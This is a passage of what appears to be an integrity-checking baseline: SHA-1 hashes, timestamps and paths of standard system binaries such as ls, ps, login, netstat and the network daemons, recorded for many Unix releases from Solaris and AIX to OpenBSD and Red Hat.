/usr/sbin/netstat [OSF1 V5.1] +AC2D4FBEC5EF5108561BB959D5742672F29B7127 Wed Aug 1 15:02:33 2001 /usr/sbin/rlogind [OSF1 V5.1] +CD97DC6C2D24E9D78A727F46E8EECCEA2C624B53 Wed Aug 1 14:38:24 2001 /usr/sbin/rshd [OSF1 V5.1] +C1558CD189ACDC266255AF9E6049FDAFF88AA3AF Wed Aug 1 15:11:48 2001 /usr/sbin/telnetd [OSF1 V5.1] +FB8B216E2F95AE76DF1B192E719644E3A64E1885 Wed Aug 1 13:58:54 2001 /usr/ucb/ps [OSF1 V5.1] +26349C0E011E63C6638EA1BD931EE7CCD05240EE Wed Aug 1 13:58:38 2001 /bin/login [OSF1 V5.1] + +107888C36EC2D2DF1BAB3A664714662A1C73167E Mon Dec 29 18:57:57 1997 /bin/find [OSF1 4.0D] +3B077AA23A2F874B640095AF8C869F9B632C20E2 Mon Dec 29 19:08:07 1997 /bin/ls [OSF1 4.0D] +EC378D8AA38B066B14110B41B999E8ABABE3E4F9 Mon Dec 29 18:47:07 1997 /bin/ps [OSF1 4.0D] +278B197A42DF55E91E0916BC69C27AFD86A9B17E Mon Dec 29 19:23:13 1997 /bin/rm [OSF1 4.0D] +CB3E9C105C2307179281EE6141D1AE08004BDB19 Mon Dec 29 19:26:57 1997 /bin/sh [OSF1 4.0D] +43226E3C5D1E745AA145ECD2AA3CABF80F404282 Mon Dec 29 18:47:13 1997 /bin/su [OSF1 4.0D] +29FE750FF51C25A66B3FBCE4C2C9E0D51189ADC2 Fri Jun 26 18:30:10 1998 /bin/telnet [OSF1 4.0D] +7D31B7A133CE6CE3A2C8D33CB206A2007C2012D0 Mon Dec 29 18:47:28 1997 /bin/w [OSF1 4.0D] +B64F87AB52FA0346219B8FB55FB2F07750BB87B6 Mon Dec 29 18:52:56 1997 /sbin/arp [OSF1 4.0D] +107888C36EC2D2DF1BAB3A664714662A1C73167E Mon Dec 29 18:57:57 1997 /usr/bin/find [OSF1 4.0D] +29FE750FF51C25A66B3FBCE4C2C9E0D51189ADC2 Fri Jun 26 18:30:10 1998 /usr/bin/telnet [OSF1 4.0D] +7D31B7A133CE6CE3A2C8D33CB206A2007C2012D0 Mon Dec 29 18:47:28 1997 /usr/bin/w [OSF1 4.0D] +05AAAD8F3C832CED2B08569B70C113B37A099660 Mon Dec 29 18:43:23 1997 /usr/sbin/arp [OSF1 4.0D] +C64B3C394A183A296B96FBCC71D9C0B8CD03EBA3 Mon Dec 29 19:02:05 1997 /usr/sbin/ftpd [OSF1 4.0D] +413FE05A2B98114365F4C40028EFF19C96DB5DAB Mon Dec 29 19:28:47 1997 /usr/sbin/tftpd [OSF1 4.0D] +D6B2129ED3117A22633C8C334A38FE788D800297 Fri Dec 19 11:56:42 2003 /usr/sbin/inetd [OSF1 4.0D] +EEB85220813306E7FFC2FB18C8C2CB46B3A3241B Mon Dec 29 19:16:46 1997 /usr/sbin/netstat [OSF1 4.0D] +9CE1D65674D54C7DDD42FB8930A5D87DE306B0F6 Mon Dec 29 19:20:34 1997 /usr/sbin/rlogind [OSF1 4.0D] +48777332070616D7675D54236B8681CAA3A10B06 Mon Dec 29 18:49:12 1997 /usr/sbin/rshd [OSF1 4.0D] +0E7C2A8FF15B467E6C1DB7E5D70715AC7A888F8D Mon Dec 29 19:28:41 1997 /usr/sbin/telnetd [OSF1 4.0D] +EC378D8AA38B066B14110B41B999E8ABABE3E4F9 Mon Dec 29 18:47:07 1997 /usr/ucb/ps [OSF1 4.0D] +9612EF86E1FD1DECCC29AD42544E8AA6FA18F7A2 Mon Dec 29 18:46:35 1997 /bin/login [OSF1 4.0D] + +40603E01BB25DC5F4B36ECE03B2D0474E3E9836E Wed Jun 30 08:15:17 1999 /bin/find [AIX 4 3 wally] +B8E732C4485F1C2790D33DF4612B880A5DCC4C1C Wed Jun 30 08:15:18 1999 /bin/ls [AIX 4 3 wally] +13C233C1ED86E2113F991ECB7B5550E097C30694 Tue Apr 27 16:40:05 1999 /bin/netstat [AIX 4 3 wally] +61B9C6B87D2A9AF337FFFF235BF4073806F6680B Wed Jun 30 08:15:19 1999 /bin/ps [AIX 4 3 wally] +0E573C69A5D16A0AC9148A27D5015540246047A5 Wed Jun 30 08:15:20 1999 /bin/rm [AIX 4 3 wally] +BC81D3BAB78BFD326810A852C13CBAF3D13BF426 Wed Nov 25 15:32:28 1998 /bin/sh [AIX 4 3 wally] +58B7374C2B33E646BDF6125E8797246D82EF71CC Wed Jun 30 08:15:20 1999 /bin/su [AIX 4 3 wally] +19ADDE73BB97BA8B28F29725EECA3ACB21899DCD Tue Apr 27 18:25:13 1999 /bin/telnet [AIX 4 3 wally] +4B8387D518E789D54E818C79AD9CD5F98A3CD683 Wed Jun 30 08:15:21 1999 /bin/w [AIX 4 3 wally] +40603E01BB25DC5F4B36ECE03B2D0474E3E9836E Wed Jun 30 08:15:17 1999 /usr/bin/find [AIX 4 3 wally] +19ADDE73BB97BA8B28F29725EECA3ACB21899DCD Tue Apr 27 18:25:13 1999 /usr/bin/telnet [AIX 4 3 wally] +4B8387D518E789D54E818C79AD9CD5F98A3CD683 Wed Jun 30 08:15:21 1999 /usr/bin/w [AIX 4 3 wally] +96235B8214831C6AD0D70FE8BD7DB93E728233FA Tue Apr 27 17:03:00 1999 /usr/sbin/arp [AIX 4 3 wally] +B0F8E41BFCFE8D54F5B05871238852434F8793A2 Tue Apr 27 18:25:22 1999 /usr/sbin/ftpd [AIX 4 3 wally] +A7DF1FB16C29D6838AB56D1E8D308CE0F7762D9D Tue Apr 27 18:25:27 1999 /usr/sbin/tftpd [AIX 4 3 wally] +32DDB01E6D4CE15F95417F0758608CF2254D7AE8 Thu Apr 4 08:29:37 2002 /usr/sbin/inetd [AIX 4 3 wally] +13C233C1ED86E2113F991ECB7B5550E097C30694 Tue Apr 27 16:40:05 1999 /usr/sbin/netstat [AIX 4 3 wally] +A860139CD79065E0745019A4244E83EDBE17AC6A Tue Apr 27 18:25:29 1999 /usr/sbin/krlogind [AIX 4 3 wally] +E8D63DB6D33EC245801D6255389F05D8F6E67768 Tue Sep 8 18:36:57 1998 /usr/sbin/rlogind [AIX 4 3 wally] +3ACFF4F08378B873209771E5111EED0E9A61DFBD Tue Apr 27 18:25:30 1999 /usr/sbin/krshd [AIX 4 3 wally] +B5B443DDAC26F178786B3D82EE14BD534E27999A Tue Apr 27 18:25:24 1999 /usr/sbin/rshd [AIX 4 3 wally] +53F2B8308EE0DD8B3948EEEC7B5FA0B43934EAF2 Thu Sep 17 15:42:25 1998 /usr/sbin/telnetd [AIX 4 3 wally] +BFA1A4054B2A860BB558AEA792BACB35D078B939 Wed Jun 30 08:15:42 1999 /bin/login [AIX 4 3 wally] + +2B1152CBDAB3442C72B4F270C3D49FC80FD1A674 Wed Dec 15 01:05:42 1999 /bin/ls [Redflag 2.0 wongway] +ECF708CF6EDB3F2B77E654260EA1900B4FAAE253 Sat Dec 11 04:13:54 1999 /bin/netstat [Redflag 2.0 wongway] +833108266A8E77BBD20C4260ECAAECA396165DA1 Wed Oct 18 03:09:03 2000 /bin/ps [Redflag 2.0 wongway] +49D2D2691636913D93A5FCA110BA0CAA8CAEC4DC Wed Dec 15 01:05:42 1999 /bin/rm [Redflag 2.0 wongway] +AC0D0A02BBB337E20C53F138D64560D84D3C7A83 Thu Mar 2 01:23:51 2000 /bin/sh [Redflag 2.0 wongway] +1DACF0BEAC5476AFAA024F96553D2781BFAE14D3 Sun Dec 12 22:09:37 1999 /bin/su [Redflag 2.0 wongway] +3F7FB334E8722C0587588E9EA345C94FBAD285EC Sat Dec 11 04:13:54 1999 /sbin/arp [Redflag 2.0 wongway] +13C49A7891A3E46570FB22E23E3347FC24226078 Thu Dec 9 03:04:05 1999 /usr/bin/find [Redflag 2.0 wongway] +99DDBF5080BFD3C7BD45702B747DA8D2F58AAB85 Sun Dec 12 22:41:53 1999 /usr/bin/telnet [Redflag 2.0 wongway] +D8F76F29D3406DBF15DE93156F7C5765668D0252 Wed Oct 18 03:09:03 2000 /usr/bin/w [Redflag 2.0 wongway] +49FDFE28F0EDB724E1F200EF19B22F26CA132720 Mon Oct 16 03:12:43 2000 /usr/sbin/in.ftpd [Redflag 2.0 wongway] +04F53D45C594B6CA38851A590EA2A1A95650B8BD Mon Dec 13 01:46:39 1999 /usr/sbin/in.tftpd [Redflag 2.0 wongway] +49FDFE28F0EDB724E1F200EF19B22F26CA132720 Mon Oct 16 03:12:43 2000 /usr/sbin/in.wuftpd [Redflag 2.0 wongway] +49FDFE28F0EDB724E1F200EF19B22F26CA132720 Mon Oct 16 03:12:43 2000 /usr/sbin/wu.ftpd [Redflag 2.0 wongway] +C1F1D38E7C0CFCF132B05288771889F5B363B2E8 Sat Dec 11 04:20:33 1999 /usr/sbin/inetd [Redflag 2.0 wongway] +26DA7F7C099BC2FA5B281C0F4C0C4141C6E29CF9 Sun Dec 12 21:32:43 1999 /usr/sbin/in.rlogind [Redflag 2.0 wongway] +2EDFA3D8624AF265DA9F10BC715523C3186B9D92 Sun Dec 12 21:32:43 1999 /usr/sbin/in.rshd [Redflag 2.0 wongway] +4FF993C75A6B2B0B4D4B09B67005A348B14DE0DC Sun Dec 12 22:41:53 1999 /usr/sbin/in.telnetd [Redflag 2.0 wongway] +583A650D8C04CD002933BDD8BC35C9A5240286A7 Mon Oct 9 02:35:48 2000 /bin/login [Redflag 2.0 wongway] +D13DFC7009C84BA2366161B9CFBBB0C8C31B418A Sat Dec 11 07:03:34 1999 /sbin/fuser [Redflag 2.0 wongway] + +79801B41B792C1A1F352D290DEA0B092BE9083BA Thu Oct 18 16:26:43 2001 /bin/ls [openbsd3.0] +DE349F63A0CA974FAE7595B6D8A3C36FBE74A067 Thu Oct 18 16:26:45 2001 /bin/ps [openbsd3.0] +FE4297FCDFC52E0BD05AAE1B9B8DC3A98AD98E8A Thu Oct 18 16:26:46 2001 /bin/rm [openbsd3.0] +26DC00A97B646003F57F6596C9A6BB61DDF85F84 Thu Oct 18 16:26:42 2001 /bin/sh [openbsd3.0] +7E3A318ED7822E51DBAF4CA819C69ABC353F483B Thu Oct 18 16:27:18 2001 /usr/bin/find [openbsd3.0] +5F6309E388C4E8D431410826801D1C9B34AF85F7 Thu Oct 18 16:27:34 2001 /usr/bin/telnet [openbsd3.0] +4CCE1C1D51EC4F1A0906B7EEE9D83A28785AE3B8 Thu Oct 18 16:27:38 2001 /usr/bin/w [openbsd3.0] +9A1012F5A730D846E681DDA577519E928D95C659 Thu Oct 18 16:27:44 2001 /usr/sbin/arp [openbsd3.0] +18BB4379FB650D3809AA07639707C373FA9242F3 Thu Oct 18 16:27:48 2001 /usr/sbin/inetd [openbsd3.0] + +A0AFF0868564AF16210046DA6E6E8BBBE97D32B8 Tue Jan 9 20:06:30 1996 /bin/ls [bsdi2.1 orbity] +00FFCFB050E33FFB092570E1D76335AED8806288 Tue Jan 23 10:28:34 1996 /bin/ps [bsdi2.1 orbity] +9D69363D65B5C39F40419DFA633A93E87A1C8C81 Mon Jan 1 14:22:25 1996 /bin/rm [bsdi2.1 orbity] +37FD460A34FB01D37BAF42C475508B368B47CE8D Mon Jan 1 14:22:27 1996 /bin/sh [bsdi2.1 orbity] +3CF5FD74BCD64514A6B482546A63AF55D5896323 Mon Jan 1 16:37:31 1996 /usr/bin/find [bsdi2.1 orbity] +69029791D0FDE3218F01B0C4F201E6ED09EC5E2B Mon Jan 1 16:40:32 1996 /usr/bin/telnet [bsdi2.1 orbity] +E46EAA40311812D49104C065DDA1FD38FAA82E40 Mon Jan 1 16:41:15 1996 /usr/bin/w [bsdi2.1 orbity] +6090B86709EEF4531F056079C8644F19A0A77AF5 Mon Jan 1 16:42:02 1996 /usr/sbin/arp [bsdi2.1 orbity] +7738F55E99C2826DA2FD570C324AB25E636F8B35 Tue Jan 16 14:54:59 1996 /usr/sbin/inetd [bsdi2.1 orbity] +2A8406FAD0C5BDB1C77F9B57EE98D2B8AFF949B8 Mon Jan 1 16:42:28 1996 /usr/sbin/netstat [bsdi2.1 orbity] + +771B47A24103F63CDE828AF73425EC214439C8F1 Wed Oct 25 07:11:47 1995 /bin/netstat [solaris2.5 rastro] +58B42FB0DC971182F35AC138754D4C0BAD69EC9D Wed Oct 25 07:11:29 1995 /bin/ps [solaris2.5 rastro] +CFDC395DFCE79658386F8C95D97A196482DA9AE3 Wed Oct 25 07:15:30 1995 /bin/su [solaris2.5 rastro] +D17A7B6FD63753657A9F67F1FD8D67ADAD28779E Wed Oct 25 07:10:40 1995 /usr/sbin/in.ftpd [solaris2.5 rastro] +10A322EB505E440EE9B78270CCBCE735AE5ED128 Wed Oct 25 07:06:24 1995 /usr/sbin/in.tftpd [solaris2.5 rastro] +1F54EB6D834E8B6D3F9E5596A25EF164131410F1 Wed Oct 25 07:06:25 1995 /usr/sbin/inetd [solaris2.5 rastro] +198F94AFDD982E980ECB57E64D621EC4DB4182D6 Wed Oct 25 07:06:23 1995 /usr/sbin/in.rlogind [solaris2.5 rastro] +3FE0CE3DC45786F408E172B04CB226A6CC59F97A Wed Oct 25 07:06:23 1995 /usr/sbin/in.rshd [solaris2.5 rastro] +22C741EF7A4F2A04E932A1D306A9B16907746CBC Wed Oct 25 07:38:54 1995 /usr/ucb/ps [solaris2.5 rastro] +44133EE78D03F63F03FC36D9058A5355C4724C00 Wed Oct 25 07:03:17 1995 /usr/sbin/fuser [solaris2.5 rastro] + +CE44B6BEEAFFA18FE41393F33C7EA16CE5F2575C Sat Apr 21 05:05:47 2001 /bin/ls [freebsd4.3 dogbert] +AB1CA991C44E5416CA729F69EA9F6090605DE0CC Sat Apr 21 05:05:49 2001 /bin/ps [freebsd4.3 dogbert] +8F6916F1DF5507E61CD553676E55609A3E05F07E Sat Apr 21 05:05:50 2001 /bin/rm [freebsd4.3 dogbert] +BADFB4251F4DBA9443AC5802CE01F11BE3BCF632 Sat Apr 21 05:05:51 2001 /bin/sh [freebsd4.3 dogbert] +0DBD2D8D193F4A83B5AA2992B720B2C3DA7555EF Sat Apr 21 05:09:25 2001 /usr/bin/find [freebsd4.3 dogbert] +E2F062FC7F64D86621F9D5A951B117AAAA2D1C26 Sat Apr 21 05:13:33 2001 /usr/bin/telnet [freebsd4.3 dogbert] +FF6FE30EF2B87000D963AD0D176E70C7442E88CB Sat Apr 21 05:09:47 2001 /usr/bin/w [freebsd4.3 dogbert] +CB441B3AAF6311A1DE7BC08493609F7050DAC9C3 Sat Apr 21 05:09:56 2001 /usr/sbin/arp [freebsd4.3 dogbert] +F1CEB1E1925E6D7DB8E4E4A3E25C7F12D813427A Sat Apr 21 05:10:01 2001 /usr/sbin/inetd [freebsd4.3 dogbert] + +B33DB920EE9EC1CE9958D5A01CA64129CDEFDE46 Sat Apr 13 17:07:32 2002 /bin/ls [OpenBSD ob31 3.1] +8D17466CD4D0005ABE4ACE17BA8E016D49149D12 Sat Apr 13 17:07:34 2002 /bin/ps [OpenBSD ob31 3.1] +973E0EB7E40DC5BCD83BABC3CB823A980CE0BB83 Sat Apr 13 17:07:35 2002 /bin/rm [OpenBSD ob31 3.1] +0F6B40716954CB9A41F00D5F7D44F53E573E67F9 Sat Apr 13 17:07:31 2002 /bin/sh [OpenBSD ob31 3.1] +EDBB5C30201321A2B0F32982F54774472EFACFD1 Sat Apr 13 17:08:09 2002 /usr/bin/find [OpenBSD ob31 3.1] +B80EDA8B413E6503776F09F3FA65632CD99E9A71 Sat Apr 13 17:08:33 2002 /usr/bin/telnet [OpenBSD ob31 3.1] +72D6A3D4580F88991AA117C084CF44BE4C4BD821 Sat Apr 13 17:08:40 2002 /usr/bin/w [OpenBSD ob31 3.1] +29A05F9FD4B33A4576E5459842959900F8676FA0 Sat Apr 13 17:08:48 2002 /usr/sbin/arp [OpenBSD ob31 3.1] +A5A35221583B1A666582E16ACA87ADF1696A5F02 Sat Apr 13 17:08:55 2002 /usr/sbin/inetd [OpenBSD ob31 3.1] + +E2B032994A3C7BF068CCDB7785AB68C4DAF49492 Mon Sep 2 07:21:23 2002 /bin/ls [RedHat8.0] +9020C98F935BC96832F1F3C2CACDF83C575560E1 Mon Aug 12 06:20:27 2002 /bin/ps [RedHat8.0] +E64CD11E6C49F3C77EE6CE05D04A5813F24F621B Sun Jun 23 14:14:02 2002 /bin/ping [RedHat8.0] +8F3B0A82C1170AB1487AF36410B76A17952941C9 Tue Aug 6 10:41:48 2002 /bin/netstat [RedHat8.0] +2DCBA08E0D5918BAA4D1B8ADF845D622AF32F7BB Mon Sep 2 07:21:23 2002 /bin/rm [RedHat8.0] +76A087FA7C0300555645F293F775FE5827B0E5C6 Fri Aug 23 16:01:06 2002 /bin/sh [RedHat8.0] +9352AF784143AE3BF4FF24FA0E6CA5609D00237D Mon Aug 12 06:20:27 2002 /usr/bin/w [RedHat8.0] +B4993E6C1B5D2DD09C9B8F328758EA05D61EB1B9 Wed Jul 3 12:30:43 2002 /usr/bin/find [RedHat8.0] +656066CA83EC1FE23C9D25334FD6C1302D7DBAC1 Tue Jul 23 09:05:50 2002 /usr/bin/telnet [RedHat8.0] +5BEB5E1A2144A533B0E734287C263CF3D3D9632A Thu Aug 15 16:54:41 2002 /usr/sbin/xinetd [RedHat8.0] +7CA00031575FF0C14BC556EF6D834C6219FF3F15 Fri Aug 30 16:00:50 2002 /bin/login [RedHat8.0] +2381E6FCA8D657A025E665C18553952905AC9029 Thu Aug 29 16:56:28 2002 /bin/su [RedHat8.0] +B564CF016423468A3CA83C350FB3DF0100C33E41 Tue Aug 6 10:41:48 2002 /sbin/arp [RedHat8.0] +04900AA2B5B0A87D6026DDEA1ACCC87A695E9C5C Wed Aug 14 00:08:01 2002 /usr/bin/ssh [RedHat8.0] +EF8ADECDA194EDEC135C09AF53AD3554A7168DC4 Wed Aug 14 00:08:01 2002 /usr/sbin/sshd [RedHat8.0] + +16E40DE8A7050E6D69FF307412BE9FBDFA28144E Tue Aug 12 11:34:53 2003 /bin/ls [RedHat EntLinux WS r3] +7E2B95AFE85D3FFF9C40BEDD9291AC312D2B418D Thu Sep 25 09:43:31 2003 /bin/ps [RedHat EntLinux WS r3] +67FF5EEE2BB040152E37E5C5EE4E6F4BE47E05FF Thu Sep 11 04:27:09 2003 /bin/ping [RedHat EntLinux WS r3] +E36D7E49FF6AE34232281BCF47979C6CD4B1B138 Mon Aug 25 11:14:01 2003 /bin/netstat [RedHat EntLinux WS r3] +6C919047B9AD39D05B9595C5C6C50F927C323C52 Tue Aug 12 11:34:53 2003 /bin/rm [RedHat EntLinux WS r3] +3A38EA65F4F3F29EFD1E7C8BBF2D9E5625A4A691 Thu Sep 18 08:26:37 2003 /bin/sh [RedHat EntLinux WS r3] +96AB66A37B60B44E811167E5134CD51F480D9C5F Thu Sep 25 09:43:31 2003 /usr/bin/w [RedHat EntLinux WS r3] +8638AD7D07E26CC686220B88D93E64A32C19288D Fri Jan 24 18:53:44 2003 /usr/bin/find [RedHat EntLinux WS r3] +39DE3364B4EE882B789E137AC692CE3BD1890517 Wed May 28 06:32:14 2003 /usr/bin/telnet [RedHat EntLinux WS r3] +79FE96AE7E642D24606C67F436CEE9DC0B8F7E89 Tue Sep 2 22:20:14 2003 /usr/sbin/xinetd [RedHat EntLinux WS r3] +532EBAAD1BF697BB5A2388BD8B93706B17A3E09A Thu Sep 25 09:10:32 2003 /bin/login [RedHat EntLinux WS r3] +8FC4F8BAA9F901BCB7C2DBB77C30F17A2FDBF39F Tue Aug 12 11:34:32 2003 /bin/su [RedHat EntLinux WS r3] +B027B4823666CADF5D9D2E625454605D840C6BA1 Mon Aug 25 11:14:01 2003 /sbin/arp [RedHat EntLinux WS r3] +DF0272E04E8ED3D61C6422C4C44D5BA826F665C0 Wed Sep 17 12:13:28 2003 /usr/bin/ssh [RedHat EntLinux WS r3] +AA2A369EB60FC36F16577281FEFD8C4A3ED114B9 Wed Sep 17 12:13:28 2003 /usr/sbin/sshd [RedHat EntLinux WS r3] +3AF61A51F3CD5D9C1EE86986683B27CA93C6F4CA Thu May 29 21:25:37 2003 /sbin/fuser [RedHat EntLinux WS r3] + +5113376BF0CBF6F181D81EEE50442E0F954D71B9 Sat Jan 22 20:48:02 2005 /bin/cat [sol10sparc-7] +AE65CB1F3E87AA6CBBBD17033CCEB0799356ED5B Wed Jan 24 14:08:59 2007 /bin/compress [sol10sparc-7] +ACFAB24CECD086D648AAA5857894827359399AC1 Sat Jan 22 20:48:04 2005 /bin/date [sol10sparc-7] +EB8AAC1DC810639B8DA2970ED43CF4E4AF770E65 Sat Jan 22 20:48:05 2005 /bin/du [sol10sparc-7] +0F172F546D4D3CE5B2A3FDEBA30544744312DD5C Wed Jan 24 14:14:29 2007 /bin/find [sol10sparc-7] +55388EA316B3D91A64B3274C20685309A9793910 Sat Jan 22 20:48:07 2005 /bin/grep [sol10sparc-7] +C3CC616CC72B4E259D108A6DD6AC897447C3A9F9 Fri Jan 21 18:28:54 2005 /bin/kill [sol10sparc-7] +638AB45269755FF33317F9CD8DFEA24EFF3D87FC Sat Jan 22 21:03:42 2005 /bin/last [sol10sparc-7] +DA29C27E4FBCE98E6CBF80AFF30597E10084781B Sat Jan 22 20:48:09 2005 /bin/login [sol10sparc-7] +566AE546192E7458AC1E86334FDCB1976C4A9ADB Wed Jan 24 14:14:30 2007 /bin/ls [sol10sparc-7] +DEF9733ADF77E5752BCB8B19B6D0C1D397A4C709 Thu Aug 16 13:22:57 2007 /bin/netstat [sol10sparc-7] +D6CC7A7EBA293C97870765E103FA70E08AD3B4E8 Sat Jan 22 20:48:26 2005 /bin/ps [sol10sparc-7] +5054FF6AC54FBA4CAC0EAE6BDDB43705C0A411BC Tue May 1 19:37:28 2007 /bin/rm [sol10sparc-7] +96DB26537992D8871420A2B36549FCC335DE94D5 Sat Jan 22 20:48:12 2005 /bin/rpcinfo [sol10sparc-7] +A5DD952EBE1FBA170F57B52BA7CE03FFF2764DD3 Wed Oct 18 13:41:37 2006 /bin/sh [sol10sparc-7] +49D0632D48A1E4D55CA2B12B732360E9853390F3 Tue May 24 19:40:26 2005 /bin/su [sol10sparc-7] +857A42A24AEAF3789415F3697B5241E65BD4D2EB Wed Jan 24 14:08:59 2007 /bin/sum [sol10sparc-7] +01C594C0DA5A37EDB3BA58EA6F411D2101104D92 Fri Jun 15 11:44:41 2007 /bin/tar [sol10sparc-7] +B1118BEC32B9B59337206A8DB2C745251D384995 Fri Aug 25 18:49:18 2006 /bin/telnet [sol10sparc-7] +75BA2C0F077F15AD8EB7E7E2CCD4D844C02FCDD3 Sat Jan 22 20:48:12 2005 /bin/touch [sol10sparc-7] +AE65CB1F3E87AA6CBBBD17033CCEB0799356ED5B Wed Jan 24 14:08:59 2007 /bin/uncompress [sol10sparc-7] +D6CC7A7EBA293C97870765E103FA70E08AD3B4E8 Sat Jan 22 20:48:26 2005 /bin/w [sol10sparc-7] +EE88E0B38EE6ADF54E400BB4B48A6E8D6D342CFF Sat Jan 22 20:48:15 2005 /bin/who [sol10sparc-7] +0F172F546D4D3CE5B2A3FDEBA30544744312DD5C Wed Jan 24 14:14:29 2007 /usr/bin/find [sol10sparc-7] +D6CC7A7EBA293C97870765E103FA70E08AD3B4E8 Sat Jan 22 20:48:26 2005 /usr/bin/ps [sol10sparc-7] +6CF7299156A8EC64BF1EB42512CA4AA3B397FFCD Thu Aug 16 13:16:03 2007 /usr/bin/ssh [sol10sparc-7] +B1118BEC32B9B59337206A8DB2C745251D384995 Fri Aug 25 18:49:18 2006 /usr/bin/telnet [sol10sparc-7] +D6CC7A7EBA293C97870765E103FA70E08AD3B4E8 Sat Jan 22 20:48:26 2005 /usr/bin/w [sol10sparc-7] +C3DF91542428779803698E3C8DB4D5D278BAC682 Fri Jan 21 18:32:39 2005 /usr/bin/which [sol10sparc-7] +B20D6C44C8AD8CA33CA699690FD23883BB79D44D Thu Aug 16 13:23:00 2007 /usr/sbin/arp [sol10sparc-7] +CF7FCCEB69016A1B268F527D66A1908A4293AD55 Wed Jan 24 14:14:33 2007 /usr/sbin/fuser [sol10sparc-7] +3F4C6263D8F38184E0FD94F880E912B3A0C17647 Thu Aug 16 13:22:59 2007 /usr/sbin/inetd [sol10sparc-7] +C7A529924AFF56D2472B0669B68A6A86596135CC Tue May 15 17:28:53 2007 /usr/sbin/in.ftpd [sol10sparc-7] +232C95F5731C5E1690105DDEFAE3D873F3181FB1 Sat Jan 22 20:26:34 2005 /usr/sbin/in.rlogind [sol10sparc-7] +70190CF9F5438126D4EBE5C5121F58F35947E6FA Wed Jun 27 13:35:39 2007 /usr/sbin/in.rshd [sol10sparc-7] +A6E14E299C6D4C2CB5C2F2B04CC110D9F3A6073E Thu Mar 1 20:30:53 2007 /usr/sbin/in.telnetd [sol10sparc-7] +DA19F9759E70187BC746A6565367E6BDAD6595F0 Thu Jun 29 20:39:44 2006 /usr/sbin/in.tftpd [sol10sparc-7] +D6CC7A7EBA293C97870765E103FA70E08AD3B4E8 Sat Jan 22 20:48:26 2005 /usr/sbin/modinfo [sol10sparc-7] +D6CC7A7EBA293C97870765E103FA70E08AD3B4E8 Sat Jan 22 20:48:26 2005 /usr/sbin/modload [sol10sparc-7] +D6CC7A7EBA293C97870765E103FA70E08AD3B4E8 Sat Jan 22 20:48:26 2005 /usr/ucb/ps [sol10sparc-7] + +5113376BF0CBF6F181D81EEE50442E0F954D71B9 Sat Jan 22 20:48:02 2005 /bin/cat [sol10sparc-8] +AE65CB1F3E87AA6CBBBD17033CCEB0799356ED5B Wed Jan 24 14:08:59 2007 /bin/compress [sol10sparc-8] +ACFAB24CECD086D648AAA5857894827359399AC1 Sat Jan 22 20:48:04 2005 /bin/date [sol10sparc-8] +EB8AAC1DC810639B8DA2970ED43CF4E4AF770E65 Sat Jan 22 20:48:05 2005 /bin/du [sol10sparc-8] +0F172F546D4D3CE5B2A3FDEBA30544744312DD5C Wed Jan 24 14:14:29 2007 /bin/find [sol10sparc-8] +55388EA316B3D91A64B3274C20685309A9793910 Sat Jan 22 20:48:07 2005 /bin/grep [sol10sparc-8] +C3CC616CC72B4E259D108A6DD6AC897447C3A9F9 Fri Jan 21 18:28:54 2005 /bin/kill [sol10sparc-8] +638AB45269755FF33317F9CD8DFEA24EFF3D87FC Sat Jan 22 21:03:42 2005 /bin/last [sol10sparc-8] +DA29C27E4FBCE98E6CBF80AFF30597E10084781B Sat Jan 22 20:48:09 2005 /bin/login [sol10sparc-8] +566AE546192E7458AC1E86334FDCB1976C4A9ADB Wed Jan 24 14:14:30 2007 /bin/ls [sol10sparc-8] +2FC2ABA7721B383142DF00F1D775BEE92C62A151 Wed Jan 24 14:14:30 2007 /bin/netstat [sol10sparc-8] +D6CC7A7EBA293C97870765E103FA70E08AD3B4E8 Sat Jan 22 20:48:26 2005 /bin/ps [sol10sparc-8] +751F88C2E745ACDC21C5B8AD1C6B2A3A591E676C Sat Jan 22 20:48:12 2005 /bin/rm [sol10sparc-8] +96DB26537992D8871420A2B36549FCC335DE94D5 Sat Jan 22 20:48:12 2005 /bin/rpcinfo [sol10sparc-8] +A5DD952EBE1FBA170F57B52BA7CE03FFF2764DD3 Wed Oct 18 13:41:37 2006 /bin/sh [sol10sparc-8] +49D0632D48A1E4D55CA2B12B732360E9853390F3 Tue May 24 19:40:26 2005 /bin/su [sol10sparc-8] +857A42A24AEAF3789415F3697B5241E65BD4D2EB Wed Jan 24 14:08:59 2007 /bin/sum [sol10sparc-8] +4A3177BAC68A4745A5466235E5C2957F02F91E23 Wed Jan 24 14:14:34 2007 /bin/tar [sol10sparc-8] +B1118BEC32B9B59337206A8DB2C745251D384995 Fri Aug 25 18:49:18 2006 /bin/telnet [sol10sparc-8] +75BA2C0F077F15AD8EB7E7E2CCD4D844C02FCDD3 Sat Jan 22 20:48:12 2005 /bin/touch [sol10sparc-8] +AE65CB1F3E87AA6CBBBD17033CCEB0799356ED5B Wed Jan 24 14:08:59 2007 /bin/uncompress [sol10sparc-8] +D6CC7A7EBA293C97870765E103FA70E08AD3B4E8 Sat Jan 22 20:48:26 2005 /bin/w [sol10sparc-8] +EE88E0B38EE6ADF54E400BB4B48A6E8D6D342CFF Sat Jan 22 20:48:15 2005 /bin/who [sol10sparc-8] +0F172F546D4D3CE5B2A3FDEBA30544744312DD5C Wed Jan 24 14:14:29 2007 /usr/bin/find [sol10sparc-8] +D6CC7A7EBA293C97870765E103FA70E08AD3B4E8 Sat Jan 22 20:48:26 2005 /usr/bin/ps [sol10sparc-8] +773D79BCA077AE97E7B14071BA5EB804EC410916 Sat Jan 22 21:18:29 2005 /usr/bin/ssh [sol10sparc-8] +B1118BEC32B9B59337206A8DB2C745251D384995 Fri Aug 25 18:49:18 2006 /usr/bin/telnet [sol10sparc-8] +D6CC7A7EBA293C97870765E103FA70E08AD3B4E8 Sat Jan 22 20:48:26 2005 /usr/bin/w [sol10sparc-8] +C3DF91542428779803698E3C8DB4D5D278BAC682 Fri Jan 21 18:32:39 2005 /usr/bin/which [sol10sparc-8] +29FDDC16445DBCD95B58F641D9E3F6EFD0839D7B Sat Jan 22 20:48:32 2005 /usr/sbin/arp [sol10sparc-8] +CF7FCCEB69016A1B268F527D66A1908A4293AD55 Wed Jan 24 14:14:33 2007 /usr/sbin/fuser [sol10sparc-8] +3DCFB27726D65936E33E8E37EE602A82185645DD Sat Jan 22 20:48:25 2005 /usr/sbin/inetd [sol10sparc-8] +AF3404AC34CC5CC86E68D86748133D6AD8A14730 Mon Jun 6 18:22:38 2005 /usr/sbin/in.ftpd [sol10sparc-8] +232C95F5731C5E1690105DDEFAE3D873F3181FB1 Sat Jan 22 20:26:34 2005 /usr/sbin/in.rlogind [sol10sparc-8] +E2C6FAA731E4FCCCA87E77DD217C7FA61B1B3A6C Sat 